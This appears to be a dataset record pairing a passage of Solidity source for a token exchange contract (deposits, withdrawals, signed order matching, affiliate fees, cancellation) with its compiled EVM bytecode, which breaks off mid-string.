//event Order(address tokenBuy, uint256 amountBuy, address tokenSell, uint256 amountSell, uint256 expires, uint256 nonce, address user, uint8 v, bytes32 r, bytes32 s);
//event Cancel(address tokenBuy, uint256 amountBuy, address tokenSell, uint256 amountSell, uint256 expires, uint256 nonce, address user, uint8 v, bytes32 r, bytes32 s);
event Trade(
address takerTokenBuy, uint256 takerAmountBuy,
address takerTokenSell, uint256 takerAmountSell,
address maker, address indexed taker,
uint256 makerFee, uint256 takerFee,
uint256 makerAmountTaken, uint256 takerAmountTaken,
bytes32 indexed makerOrderHash, bytes32 indexed takerOrderHash
);
event Deposit(address indexed token, address indexed user, uint256 amount, uint256 balance, address indexed referrerAddress);
event Withdraw(address indexed token, address indexed user, uint256 amount, uint256 balance, uint256 withdrawFee);
event FeeChange(uint256 indexed makerFee, uint256 indexed takerFee, uint256 indexed affiliateFee);
//event AffiliateFeeChange(uint256 newAffiliateFee);
event LogError(uint8 indexed errorId, bytes32 indexed makerOrderHash, bytes32 indexed takerOrderHash);
event CancelOrder(
bytes32 indexed cancelHash,
bytes32 indexed orderHash,
address indexed user,
address tokenSell,
uint256 amountSell,
uint256 cancelFee
);
function setInactivityReleasePeriod(uint256 expiry) onlyAdmin returns (bool success) {
if (expiry > 1000000) throw;
inactivityReleasePeriod = expiry;
return true;
}
function Exchange(address feeAccount_, uint256 makerFee_, uint256 takerFee_, uint256 affiliateFee_, address affiliateContract_, address tokenListContract_) {
owner = msg.sender;
feeAccount = feeAccount_;
inactivityReleasePeriod = 100000;
makerFee = makerFee_;
takerFee = takerFee_;
affiliateFee = affiliateFee_;
makerAffiliateFee = safeMul(makerFee, affiliateFee_) / (1 ether);
takerAffiliateFee = safeMul(takerFee, affiliateFee_) / (1 ether);
affiliateContract = affiliateContract_;
tokenListContract = tokenListContract_;
}
function setFees(uint256 makerFee_, uint256 takerFee_, uint256 affiliateFee_) onlyOwner {
require(makerFee_ < 10 finney && takerFee_ < 10 finney);
require(affiliateFee_ > affiliateFee);
makerFee = makerFee_;
takerFee = takerFee_;
affiliateFee = affiliateFee_;
makerAffiliateFee = safeMul(makerFee, affiliateFee_) / (1 ether);
takerAffiliateFee = safeMul(takerFee, affiliateFee_) / (1 ether);
FeeChange(makerFee, takerFee, affiliateFee_);
}
function setAdmin(address admin, bool isAdmin) onlyOwner {
admins[admin] = isAdmin;
}
modifier onlyAdmin {
if (msg.sender != owner && !admins[msg.sender]) throw;
_;
}
function() external {
throw;
}
function depositToken(address token, uint256 amount, address referrerAddress) {
//require(EthermiumTokenList(tokenListContract).isTokenInList(token));
if (referrerAddress == msg.sender) referrerAddress = address(0);
if (referrer[msg.sender] == address(0x0)) {
if (referrerAddress != address(0x0) && EthermiumAffiliates(affiliateContract).getAffiliate(msg.sender) == address(0))
{
referrer[msg.sender] = referrerAddress;
EthermiumAffiliates(affiliateContract).assignReferral(referrerAddress, msg.sender);
}
else
{
referrer[msg.sender] = EthermiumAffiliates(affiliateContract).getAffiliate(msg.sender);
}
}
tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount);
lastActiveTransaction[msg.sender] = block.number;
if (!Token(token).transferFrom(msg.sender, this, amount)) throw;
Deposit(token, msg.sender, amount, tokens[token][msg.sender], referrer[msg.sender]);
}
function deposit(address referrerAddress) payable {
if (referrerAddress == msg.sender) referrerAddress = address(0);
if (referrer[msg.sender] == address(0x0)) {
if (referrerAddress != address(0x0) && EthermiumAffiliates(affiliateContract).getAffiliate(msg.sender) == address(0))
{
referrer[msg.sender] = referrerAddress;
EthermiumAffiliates(affiliateContract).assignReferral(referrerAddress, msg.sender);
}
else
{
referrer[msg.sender] = EthermiumAffiliates(affiliateContract).getAffiliate(msg.sender);
}
}
tokens[address(0)][msg.sender] = safeAdd(tokens[address(0)][msg.sender], msg.value);
lastActiveTransaction[msg.sender] = block.number;
Deposit(address(0), msg.sender, msg.value, tokens[address(0)][msg.sender], referrer[msg.sender]);
}
function withdraw(address token, uint256 amount) returns (bool success) {
if (safeSub(block.number, lastActiveTransaction[msg.sender]) < inactivityReleasePeriod) throw;
if (tokens[token][msg.sender] < amount) throw;
tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount);
if (token == address(0)) {
if (!msg.sender.send(amount)) throw;
} else {
if (!Token(token).transfer(msg.sender, amount)) throw;
}
Withdraw(token, msg.sender, amount, tokens[token][msg.sender], 0);
}
function adminWithdraw(address token, uint256 amount, address user, uint256 nonce, uint8 v, bytes32 r, bytes32 s, uint256 feeWithdrawal) onlyAdmin returns (bool success) {
bytes32 hash = keccak256(this, token, amount, user, nonce);
if (withdrawn[hash]) throw;
withdrawn[hash] = true;
if (ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s) != user) throw;
if (feeWithdrawal > 50 finney) feeWithdrawal = 50 finney;
if (tokens[token][user] < amount) throw;
tokens[token][user] = safeSub(tokens[token][user], amount);
tokens[address(0)][user] = safeSub(tokens[address(0x0)][user], feeWithdrawal);
//tokens[token][feeAccount] = safeAdd(tokens[token][feeAccount], safeMul(feeWithdrawal, amount) / 1 ether);
tokens[address(0)][feeAccount] = safeAdd(tokens[address(0)][feeAccount], feeWithdrawal);
//amount = safeMul((1 ether - feeWithdrawal), amount) / 1 ether;
if (token == address(0)) {
if (!user.send(amount)) throw;
} else {
if (!Token(token).transfer(user, amount)) throw;
}
lastActiveTransaction[user] = block.number;
Withdraw(token, user, amount, tokens[token][user], feeWithdrawal);
}
function balanceOf(address token, address user) constant returns (uint256) {
return tokens[token][user];
}
struct OrderPair {
uint256 makerAmountBuy;
uint256 makerAmountSell;
uint256 makerNonce;
uint256 takerAmountBuy;
uint256 takerAmountSell;
uint256 takerNonce;
uint256 takerGasFee;
address makerTokenBuy;
address makerTokenSell;
address maker;
address takerTokenBuy;
address takerTokenSell;
address taker;
bytes32 makerOrderHash;
bytes32 takerOrderHash;
}
struct TradeValues {
uint256 qty;
uint256 invQty;
uint256 makerAmountTaken;
uint256 takerAmountTaken;
address makerReferrer;
address takerReferrer;
}
function trade(
uint8[2] v,
bytes32[4] rs,
uint256[7] tradeValues,
address[6] tradeAddresses
) onlyAdmin returns (uint filledTakerTokenAmount)
{
/* tradeValues
[0] makerAmountBuy
[1] makerAmountSell
[2] makerNonce
[3] takerAmountBuy
[4] takerAmountSell
[5] takerNonce
[6] takerGasFee
tradeAddresses
[0] makerTokenBuy
[1] makerTokenSell
[2] maker
[3] takerTokenBuy
[4] takerTokenSell
[5] taker
*/
OrderPair memory t = OrderPair({
makerAmountBuy : tradeValues[0],
makerAmountSell : tradeValues[1],
makerNonce : tradeValues[2],
takerAmountBuy : tradeValues[3],
takerAmountSell : tradeValues[4],
takerNonce : tradeValues[5],
takerGasFee : tradeValues[6],
makerTokenBuy : tradeAddresses[0],
makerTokenSell : tradeAddresses[1],
maker : tradeAddresses[2],
takerTokenBuy : tradeAddresses[3],
takerTokenSell : tradeAddresses[4],
taker : tradeAddresses[5],
makerOrderHash : keccak256(this, tradeAddresses[0], tradeValues[0], tradeAddresses[1], tradeValues[1], tradeValues[2], tradeAddresses[2]),
takerOrderHash : keccak256(this, tradeAddresses[3], tradeValues[3], tradeAddresses[4], tradeValues[4], tradeValues[5], tradeAddresses[5])
});
//bytes32 makerOrderHash = keccak256(this, tradeAddresses[0], tradeValues[0], tradeAddresses[1], tradeValues[1], tradeValues[2], tradeAddresses[2]);
//bytes32 makerOrderHash = §
if (ecrecover(keccak256("\x19Ethereum Signed Message:\n32", t.makerOrderHash), v[0], rs[0], rs[1]) != t.maker)
{
LogError(uint8(Errors.INVLID_SIGNATURE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
//bytes32 takerOrderHash = keccak256(this, tradeAddresses[3], tradeValues[3], tradeAddresses[4], tradeValues[4], tradeValues[5], tradeAddresses[5]);
//bytes32 takerOrderHash = keccak256(this, t.takerTokenBuy, t.takerAmountBuy, t.takerTokenSell, t.takerAmountSell, t.takerNonce, t.taker);
if (ecrecover(keccak256("\x19Ethereum Signed Message:\n32", t.takerOrderHash), v[1], rs[2], rs[3]) != t.taker)
{
LogError(uint8(Errors.INVLID_SIGNATURE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
if (t.makerTokenBuy != t.takerTokenSell || t.makerTokenSell != t.takerTokenBuy)
{
LogError(uint8(Errors.TOKENS_DONT_MATCH), t.makerOrderHash, t.takerOrderHash);
return 0;
} // tokens don't match
if (t.takerGasFee > 100 finney)
{
LogError(uint8(Errors.GAS_TOO_HIGH), t.makerOrderHash, t.takerOrderHash);
return 0;
} // takerGasFee too high
if (!(
(t.makerTokenBuy != address(0x0) && safeMul(t.makerAmountSell, 1 ether) / t.makerAmountBuy >= safeMul(t.takerAmountBuy, 1 ether) / t.takerAmountSell)
||
(t.makerTokenBuy == address(0x0) && safeMul(t.makerAmountBuy, 1 ether) / t.makerAmountSell <= safeMul(t.takerAmountSell, 1 ether) / t.takerAmountBuy)
))
{
LogError(uint8(Errors.INVLID_PRICE), t.makerOrderHash, t.takerOrderHash);
return 0; // prices don't match
}
TradeValues memory tv = TradeValues({
qty : 0,
invQty : 0,
makerAmountTaken : 0,
takerAmountTaken : 0,
makerReferrer : referrer[t.maker],
takerReferrer : referrer[t.taker]
});
if (tv.makerReferrer == address(0x0)) tv.makerReferrer = feeAccount;
if (tv.takerReferrer == address(0x0)) tv.takerReferrer = feeAccount;
// maker buy, taker sell
if (t.makerTokenBuy != address(0x0))
{
tv.qty = min(safeSub(t.makerAmountBuy, orderFills[t.makerOrderHash]), safeSub(t.takerAmountSell, safeMul(orderFills[t.takerOrderHash], t.takerAmountSell) / t.takerAmountBuy));
if (tv.qty == 0)
{
LogError(uint8(Errors.ORDER_ALREADY_FILLED), t.makerOrderHash, t.takerOrderHash);
return 0;
}
tv.invQty = safeMul(tv.qty, t.makerAmountSell) / t.makerAmountBuy;
tokens[t.makerTokenSell][t.maker] = safeSub(tokens[t.makerTokenSell][t.maker], tv.invQty);
tv.makerAmountTaken = safeSub(tv.qty, safeMul(tv.qty, makerFee) / (1 ether));
tokens[t.makerTokenBuy][t.maker] = safeAdd(tokens[t.makerTokenBuy][t.maker], tv.makerAmountTaken);
tokens[t.makerTokenBuy][tv.makerReferrer] = safeAdd(tokens[t.makerTokenBuy][tv.makerReferrer], safeMul(tv.qty, makerAffiliateFee) / (1 ether));
tokens[t.takerTokenSell][t.taker] = safeSub(tokens[t.takerTokenSell][t.taker], tv.qty);
tv.takerAmountTaken = safeSub(safeSub(tv.invQty, safeMul(tv.invQty, takerFee) / (1 ether)), safeMul(tv.invQty, t.takerGasFee) / (1 ether));
tokens[t.takerTokenBuy][t.taker] = safeAdd(tokens[t.takerTokenBuy][t.taker], tv.takerAmountTaken);
tokens[t.takerTokenBuy][tv.takerReferrer] = safeAdd(tokens[t.takerTokenBuy][tv.takerReferrer], safeMul(tv.invQty, takerAffiliateFee) / (1 ether));
tokens[t.makerTokenBuy][feeAccount] = safeAdd(tokens[t.makerTokenBuy][feeAccount], safeMul(tv.qty, safeSub(makerFee, makerAffiliateFee)) / (1 ether));
tokens[t.takerTokenBuy][feeAccount] = safeAdd(tokens[t.takerTokenBuy][feeAccount], safeAdd(safeMul(tv.invQty, safeSub(takerFee, takerAffiliateFee)) / (1 ether), safeMul(tv.invQty, t.takerGasFee) / (1 ether)));
orderFills[t.makerOrderHash] = safeAdd(orderFills[t.makerOrderHash], tv.qty);
orderFills[t.takerOrderHash] = safeAdd(orderFills[t.takerOrderHash], safeMul(tv.qty, t.takerAmountBuy) / t.takerAmountSell);
lastActiveTransaction[t.maker] = block.number;
lastActiveTransaction[t.taker] = block.number;
Trade(
t.takerTokenBuy, tv.qty,
t.takerTokenSell, tv.invQty,
t.maker, t.taker,
makerFee, takerFee,
tv.makerAmountTaken , tv.takerAmountTaken,
t.makerOrderHash, t.takerOrderHash
);
return tv.qty;
}
// maker sell, taker buy
else
{
tv.qty = min(safeSub(t.makerAmountSell, safeMul(orderFills[t.makerOrderHash], t.makerAmountSell) / t.makerAmountBuy), safeSub(t.takerAmountBuy, orderFills[t.takerOrderHash]));
if (tv.qty == 0)
{
LogError(uint8(Errors.ORDER_ALREADY_FILLED), t.makerOrderHash, t.takerOrderHash);
return 0;
}
tv.invQty = safeMul(tv.qty, t.makerAmountBuy) / t.makerAmountSell;
tokens[t.makerTokenSell][t.maker] = safeSub(tokens[t.makerTokenSell][t.maker], tv.qty);
tv.makerAmountTaken = safeSub(tv.invQty, safeMul(tv.invQty, makerFee) / (1 ether));
tokens[t.makerTokenBuy][t.maker] = safeAdd(tokens[t.makerTokenBuy][t.maker], tv.makerAmountTaken);
tokens[t.makerTokenBuy][tv.makerReferrer] = safeAdd(tokens[t.makerTokenBuy][tv.makerReferrer], safeMul(tv.invQty, makerAffiliateFee) / (1 ether));
tokens[t.takerTokenSell][t.taker] = safeSub(tokens[t.takerTokenSell][t.taker], tv.invQty);
tv.takerAmountTaken = safeSub(safeSub(tv.qty, safeMul(tv.qty, takerFee) / (1 ether)), safeMul(tv.qty, t.takerGasFee) / (1 ether));
tokens[t.takerTokenBuy][t.taker] = safeAdd(tokens[t.takerTokenBuy][t.taker], tv.takerAmountTaken);
tokens[t.takerTokenBuy][tv.takerReferrer] = safeAdd(tokens[t.takerTokenBuy][tv.takerReferrer], safeMul(tv.qty, takerAffiliateFee) / (1 ether));
tokens[t.makerTokenBuy][feeAccount] = safeAdd(tokens[t.makerTokenBuy][feeAccount], safeMul(tv.invQty, safeSub(makerFee, makerAffiliateFee)) / (1 ether));
tokens[t.takerTokenBuy][feeAccount] = safeAdd(tokens[t.takerTokenBuy][feeAccount], safeAdd(safeMul(tv.qty, safeSub(takerFee, takerAffiliateFee)) / (1 ether), safeMul(tv.qty, t.takerGasFee) / (1 ether)));
orderFills[t.makerOrderHash] = safeAdd(orderFills[t.makerOrderHash], tv.invQty);
orderFills[t.takerOrderHash] = safeAdd(orderFills[t.takerOrderHash], tv.qty); //safeMul(qty, tradeValues[takerAmountBuy]) / tradeValues[takerAmountSell]);
lastActiveTransaction[t.maker] = block.number;
lastActiveTransaction[t.taker] = block.number;
Trade(
t.takerTokenBuy, tv.qty,
t.takerTokenSell, tv.invQty,
t.maker, t.taker,
makerFee, takerFee,
tv.makerAmountTaken , tv.takerAmountTaken,
t.makerOrderHash, t.takerOrderHash
);
return tv.qty;
}
}
function batchOrderTrade(
uint8[2][] v,
bytes32[4][] rs,
uint256[7][] tradeValues,
address[6][] tradeAddresses
)
{
for (uint i = 0; i < tradeAddresses.length; i++) {
trade(
v[i],
rs[i],
tradeValues[i],
tradeAddresses[i]
);
}
}
function cancelOrder(
/*
[0] orderV
[1] cancelV
*/
uint8[2] v,
/*
[0] orderR
[1] orderS
[2] cancelR
[3] cancelS
*/
bytes32[4] rs,
/*
[0] orderAmountBuy
[1] orderAmountSell
[2] orderNonce
[3] cancelNonce
[4] cancelFee
*/
uint256[5] cancelValues,
/*
[0] orderTokenBuy
[1] orderTokenSell
[2] orderUser
[3] cancelUser
*/
address[4] cancelAddresses
) public onlyAdmin {
// Order values should be valid and signed by order owner
bytes32 orderHash = keccak256(
this, cancelAddresses[0], cancelValues[0], cancelAddresses[1],
cancelValues[1], cancelValues[2], cancelAddresses[2]
);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", orderHash), v[0], rs[0], rs[1]) == cancelAddresses[2]);
// Cancel action should be signed by cancel's initiator
bytes32 cancelHash = keccak256(this, orderHash, cancelAddresses[3], cancelValues[3]);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", cancelHash), v[1], rs[2], rs[3]) == cancelAddresses[3]);
// Order owner should be same as cancel's initiator
require(cancelAddresses[2] == cancelAddresses[3]);
// Do not allow to cancel already canceled or filled orders
require(orderFills[orderHash] != cancelValues[0]);
// Limit cancel fee
if (cancelValues[4] > 50 finney) {
cancelValues[4] = 50 finney;
}
// Take cancel fee
// This operation throw an error if fee amount is more than user balance
tokens[address(0)][cancelAddresses[3]] = safeSub(tokens[address(0)][cancelAddresses[3]], cancelValues[4]);
// Cancel order by filling it with amount buy value
orderFills[orderHash] = cancelValues[0];
// Emit cancel order
CancelOrder(cancelHash, orderHash, cancelAddresses[3], cancelAddresses[1], cancelValues[1], cancelValues[4]);
}
function min(uint a, uint b) private pure returns (uint) {
return a < b ? a : b;
}
} | 0x6060604052600436106101b35763ffffffff60e060020a6000350416630117200581146101c35780630674763c146101f257806313af40351461020c5780632295115b1461022b578063254dcfe21461027a5780632cf003c2146102ab5780633823d66c146102ca578063429b62e5146102e057806343f0179b146102ff5780634b0bddd214610312578063508493bc1461033657806365e17c9d1461035b5780637b68be811461036e5780637cc1303a1461042257806383dbb27b146104d6578063869c63c1146104f5578063893d20e8146106cd5780638da5cb5b146106e05780639d575582146106f3578063a293d1e81461071c578063b12de55914610735578063ba818f8d14610757578063bae5f9dd1461076a578063cec10c111461077d578063d05c78da14610799578063d5813323146107b2578063dd93c74a146107c8578063e1b53078146107de578063e6cb9013146107f1578063f31174ee1461080a578063f340fa011461081d578063f3fef3a314610831578063f7213db614610853578063f7888aec14610869578063fbc47e561461088e578063fc741c7c146108a1578063febc8c39146108b4575b34156101be57600080fd5b600080fd5b34156101ce57600080fd5b6101d66108c7565b604051600160a060020a03909116815260200160405180910390f35b34156101fd57600080fd5b61020a60043515156108d6565b005b341561021757600080fd5b61020a600160a060020a03600435166108e5565b341561023657600080fd5b610266600160a060020a03600435811690602435906044351660643560ff6084351660a43560c43560e43561096b565b604051901515815260200160405180910390f35b341561028557600080fd5b610299600160a060020a0360043516610d5c565b60405190815260200160405180910390f35b34156102b657600080fd5b6101d6600160a060020a0360043516610d6e565b34156102d557600080fd5b610266600435610d89565b34156102eb57600080fd5b610266600160a060020a0360043516610d9e565b341561030a57600080fd5b610299610db3565b341561031d57600080fd5b61020a600160a060020a03600435166024351515610db9565b341561034157600080fd5b610299600160a060020a0360043581169060243516610dff565b341561036657600080fd5b6101d6610e1c565b341561037957600080fd5b61020a6004604481600260408051908101604052809291908260026020028082843782019150505050509190806080019060048060200260405190810160405291908282608080828437820191505050505091908060a001906005806020026040519081016040529190828260a0808284378201915050505050919080608001906004806020026040519081016040529190828260808082843750939550610e2b945050505050565b341561042d57600080fd5b6102996004604481600260408051908101604052809291908260026020028082843782019150505050509190806080019060048060200260405190810160405291908282608080828437820191505050505091908060e001906007806020026040519081016040529190828260e080828437820191505050505091908060c001906006806020026040519081016040529190828260c08082843750939550611216945050505050565b34156104e157600080fd5b610299600160a060020a03600435166127ba565b341561050057600080fd5b61020a60046024813581810190830135806020818102016040519081016040528181529291906000602085015b8282101561056c57604080830286019060029080519081016040528092919082600260200280828437505050918352505060019091019060200161052d565b505050505091908035906020019082018035906020019080806020026020016040519081016040528181529291906000602085015b828210156105dd5760808083028601906004906040519081016040529190828260808082843750505091835250506001909101906020016105a1565b505050505091908035906020019082018035906020019080806020026020016040519081016040528181529291906000602085015b8282101561064e5760e08083028601906007906040519081016040529190828260e0808284375050509183525050600190910190602001610612565b505050505091908035906020019082018035906020019080806020026020016040519081016040528181529291906000602085015b828210156106bf5760c08083028601906006906040519081016040529190828260c0808284375050509183525050600190910190602001610683565b5050505050919050506127cc565b34156106d857600080fd5b6101d6612848565b34156106eb57600080fd5b6101d6612857565b34156106fe57600080fd5b61020a600160a060020a036004358116906024359060443516612866565b341561072757600080fd5b610299600435602435612bd3565b341561074057600080fd5b61020a600160a060020a0360043516602435612be7565b341561076257600080fd5b610299612c6a565b341561077557600080fd5b610299612c70565b341561078857600080fd5b61020a600435602435604435612c76565b34156107a457600080fd5b610299600435602435612d53565b34156107bd57600080fd5b610266600435612d7e565b34156107d357600080fd5b610266600435612d93565b34156107e957600080fd5b610299612def565b34156107fc57600080fd5b610299600435602435612df5565b341561081557600080fd5b610299612e11565b61020a600160a060020a0360043516612e17565b341561083c57600080fd5b610266600160a060020a03600435166024356130df565b341561085e57600080fd5b6102996004356132ce565b341561087457600080fd5b610299600160a060020a03600435811690602435166132e0565b341561089957600080fd5b6101d661330b565b34156108ac57600080fd5b61029961331a565b34156108bf57600080fd5b610299613320565b601154600160a060020a031681565b8015156108e257600080fd5b50565b6000546109009033600160a060020a039081169116146108d6565b600054600160a060020a0380831691167fcbf985117192c8f614a58aaf97226bb80a754772f5f6edf06f87c675f2e6c66360405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008054819033600160a060020a039081169116148015906109a65750600160a060020a03331660009081526003602052604090205460ff16155b156109b057600080fd5b308a8a8a8a6040516c01000000000000000000000000600160a060020a039687168102825294861685026014820152602881019390935293169091026048820152605c810191909152607c016040519081900390206000818152600a602052604090205490915060ff1615610a2457600080fd5b6000818152600a602052604090819020805460ff19166001908117909155600160a060020a038a16918390516000805160206134028339815191528152601c810191909152603c0160405180910390208888886040516000815260200160405260405193845260ff9092166020808501919091526040808501929092526060840192909252608090920191516020810390808403906000865af11515610ac957600080fd5b505060206040510351600160a060020a031614610ae557600080fd5b66b1a2bc2ec50000831115610aff5766b1a2bc2ec5000092505b600160a060020a03808b166000908152600260209081526040808320938c168352929052205489901015610b3257600080fd5b600160a060020a03808b166000908152600260209081526040808320938c1683529290522054610b62908a612bd3565b600160a060020a038b81166000908152600260209081526040808320938d16835292815282822093909355600080516020613422833981519152909252902054610bac9084612bd3565b600160a060020a03898116600090815260008051602061342283398151915260205260408082209390935560065490911681522054610beb9084612df5565b600654600160a060020a03908116600090815260008051602061342283398151915260205260409020919091558a161515610c5657600160a060020a03881689156108fc028a604051600060405180830381858888f193505050501515610c5157600080fd5b610ccc565b89600160a060020a031663a9059cbb898b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610caa57600080fd5b5af11515610cb757600080fd5b505050604051805190501515610ccc57600080fd5b600160a060020a038089166000818152600460209081526040808320439055938e16808352600282528483208484529091529083902054919290917febff2602b3f468259e1e99f613fed6691f3a6526effe6ef3e768ba7ae7a36c4f918d919088905180848152602001838152602001828152602001935050505060405180910390a35098975050505050505050565b60046020526000908152604090205481565b601060205260009081526040902054600160a060020a031681565b600a6020526000908152604090205460ff1681565b60036020526000908152604090205460ff1681565b600c5481565b600054610dd49033600160a060020a039081169116146108d6565b600160a060020a03919091166000908152600360205260409020805460ff1916911515919091179055565b600260209081526000928352604080842090915290825290205481565b600654600160a060020a031681565b60008054819033600160a060020a03908116911614801590610e665750600160a060020a03331660009081526003602052604090205460ff16155b15610e7057600080fd5b308351855160208601516020880151604089015160408901516040516c01000000000000000000000000600160a060020a039889168102825296881687026014820152602881019590955292861685026048850152605c840191909152607c83015290921602609c82015260b00160405190819003902091506040830151600160a060020a03166001836040516000805160206134028339815191528152601c810191909152603c016040519081900390208851885160208a01516040516000815260200160405260405193845260ff9092166020808501919091526040808501929092526060840192909252608090920191516020810390808403906000865af11515610f7d57600080fd5b505060206040510351600160a060020a031614610f9957600080fd5b3082606085015160608701516040516c01000000000000000000000000600160a060020a03958616810282526014820194909452919093169091026034820152604881019190915260680160405190819003902090506060830151600160a060020a03166001826040516000805160206134028339815191528152601c810191909152603c016040519081900390206020890151604089015160608a01516040516000815260200160405260405193845260ff9092166020808501919091526040808501929092526060840192909252608090920191516020810390808403906000865af1151561108957600080fd5b505060206040510351600160a060020a0316146110a557600080fd5b6060830151600160a060020a03166040840151600160a060020a0316146110cb57600080fd5b835160008381526005602052604090205414156110e757600080fd5b66b1a2bc2ec50000608085015111156111085766b1a2bc2ec5000060808501525b6000808052600260205261114f90600080516020613422833981519152906060860151600160a060020a031681526020810191909152604001600020546080860151612bd3565b60008080526002602052600080516020613422833981519152906060860151600160a060020a0316815260208101919091526040016000205583516000838152600560205260409020556060830151600160a060020a031682827fd23bed568a5bf25c3577535afb4d173c4a6942e92812c0d105d94115d2beab726020870151602089015160808a01516040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a4505050505050565b600061122061333c565b6112286133b8565b60005433600160a060020a039081169116148015906112605750600160a060020a03331660009081526003602052604090205460ff16155b1561126a57600080fd5b6101e060405190810160405280865181526020018660016020020151815260200160408701518152602001606087015181526020016080870151815260200160a0870151815260200160c087015181526020018551600160a060020a031681526020018560016020020151600160a060020a031681526020016040860151600160a060020a031681526020016060860151600160a060020a031681526020016080860151600160a060020a0316815260200160a0860151600160a060020a031681526020013086518851602089015160208b015160408c015160408c01516040516c01000000000000000000000000600160a060020a039889168102825296881687026014820152602881019590955292861685026048850152605c840191909152607c83015290921602609c82015260b00160405190819003902081526020013060608701516060890151608089015160808b015160a08c015160a08c01516040516c01000000000000000000000000600160a060020a039889168102825296881687026014820152602881019590955292861685026048850152605c840191909152607c83015290921602609c82015260b00160405190819003902090529150610120820151600160a060020a03166001836101a001516040516000805160206134028339815191528152601c810191909152603c016040519081900390208951895160208b01516040516000815260200160405260405193845260ff9092166020808501919091526040808501929092526060840192909252608090920191516020810390808403906000865af115156114c657600080fd5b505060206040510351600160a060020a03161461152457816101c001516101a083015160015b60ff167f14301341d034ec3c62a1eabc804a79abf3b8c16e6245e82ec572346aa452fabb60405160405180910390a4600092506127b0565b816101800151600160a060020a03166001836101c001516040516000805160206134028339815191528152601c810191909152603c0160405190819003902060208a015160408a015160608b01516040516000815260200160405260405193845260ff9092166020808501919091526040808501929092526060840192909252608090920191516020810390808403906000865af115156115c457600080fd5b505060206040510351600160a060020a0316146115ee57816101c001516101a083015160016114ec565b816101600151600160a060020a03168260e00151600160a060020a03161415806116345750816101400151600160a060020a0316826101000151600160a060020a031614155b1561164c57816101c001516101a083015160026114ec565b67016345785d8a00008260c00151111561167357816101c001516101a083015160046114ec565b600060e0830151600160a060020a0316141580156116d6575081608001516116a78360600151670de0b6b3a7640000612d53565b8115156116b057fe5b0482516116c98460200151670de0b6b3a7640000612d53565b8115156116d257fe5b0410155b8061173e5750600060e0830151600160a060020a031614801561173e5750816060015161170f8360800151670de0b6b3a7640000612d53565b81151561171857fe5b0482602001516117318451670de0b6b3a7640000612d53565b81151561173a57fe5b0411155b151561175757816101c001516101a083015160006114ec565b60c0604051908101604052806000815260200160008152602001600081526020016000815260200160106000856101200151600160a060020a0316600160a060020a0316815260200190815260200160002060009054906101000a9004600160a060020a0316600160a060020a0316815260200160106000856101800151600160a060020a03908116825260208201929092526040016000908120549091169091529091506080820151600160a060020a0316141561182257600654600160a060020a031660808201525b600060a0820151600160a060020a0316141561184a57600654600160a060020a031660a08201525b600060e0830151600160a060020a0316146120c5576118d0611887835160056000866101a001518152602081019190915260400160002054612bd3565b6118cb846080015185606001516118bc60056000896101c0015181526020810191909152604001600020546080890151612d53565b8115156118c557fe5b04612bd3565b613326565b8152805115156118ed57816101c001516101a083015160036114ec565b81516118fe82518460200151612d53565b81151561190757fe5b04602082015261196d60026000610100850151600160a060020a0316600160a060020a031681526020019081526020016000206000846101200151600160a060020a0316600160a060020a03168152602001908152602001600020548260200151612bd3565b60026000846101000151600160a060020a0316600160a060020a031681526020019081526020016000206000846101200151600160a060020a031681526020810191909152604001600020556119d48151670de0b6b3a76400006118bc8451600b54612d53565b6040820152611a386002600060e0850151600160a060020a0316600160a060020a031681526020019081526020016000206000846101200151600160a060020a0316600160a060020a03168152602001908152602001600020548260400151612df5565b600260008460e00151600160a060020a0316600160a060020a031681526020019081526020016000206000846101200151600160a060020a0316600160a060020a0316815260200190815260200160002081905550611aff600260008460e00151600160a060020a0316600160a060020a0316815260200190815260200160002060008360800151600160a060020a03168152602081019190915260400160002054670de0b6b3a7640000611af08451600e54612d53565b811515611af957fe5b04612df5565b600260008460e00151600160a060020a0316600160a060020a0316815260200190815260200160002060008360800151600160a060020a0316600160a060020a0316815260200190815260200160002081905550611ba960026000846101600151600160a060020a0316600160a060020a031681526020019081526020016000206000846101800151600160a060020a031681526020810191909152604001600020548251612bd3565b60026000846101600151600160a060020a0316600160a060020a031681526020019081526020016000206000846101800151600160a060020a0316600160a060020a0316815260200190815260200160002081905550611c3e611c238260200151670de0b6b3a76400006118bc8560200151600c54612d53565b670de0b6b3a76400006118bc84602001518660c00151612d53565b6060820152611ca360026000610140850151600160a060020a0316600160a060020a031681526020019081526020016000206000846101800151600160a060020a0316600160a060020a03168152602001908152602001600020548260600151612df5565b60026000846101400151600160a060020a0316600160a060020a031681526020019081526020016000206000846101800151600160a060020a0316600160a060020a0316815260200190815260200160002081905550611d6760026000846101400151600160a060020a0316600160a060020a0316815260200190815260200160002060008360a00151600160a060020a0316600160a060020a0316815260200190815260200160002054670de0b6b3a7640000611af08460200151600f54612d53565b60026000846101400151600160a060020a0316600160a060020a0316815260200190815260200160002060008360a00151600160a060020a0316600160a060020a0316815260200190815260200160002081905550611e16600260008460e00151600160a060020a0390811682526020808301939093526040918201600090812060065490921681529252902054670de0b6b3a7640000611af08451611e11600b54600e54612bd3565b612d53565b600260008460e00151600160a060020a0390811682526020808301939093526040918201600090812060065490921681529252812091909155611ed790600290610140850151600160a060020a039081168252602080830193909352604091820160009081206006549092168152908352205490611ed290670de0b6b3a764000090611ead90860151611e11600c54600f54612bd3565b811515611eb657fe5b04670de0b6b3a7640000611af086602001518860c00151612d53565b612df5565b60026000846101400151600160a060020a0390811682526020808301939093526040918201600090812060065490921681529252812091909155611f36906005906101a085015181526020810191909152604001600020548251612df5565b60056000846101a0015181526020810191909152604001600090812091909155611f88906005906101c085015181526020810191909152604001600020546080840151611af084518660600151612d53565b60056000846101c00151815260208101919091526040016000908120919091554390600490610120850151600160a060020a0316600160a060020a03168152602001908152602001600020819055504360046000846101800151600160a060020a031681526020810191909152604001600020556101c08201516101a0830151610180840151600160a060020a03167f710a89c2739b2b7124e035c0dfff8b26a1de0ef61edf2851d794b32df3176559856101400151855187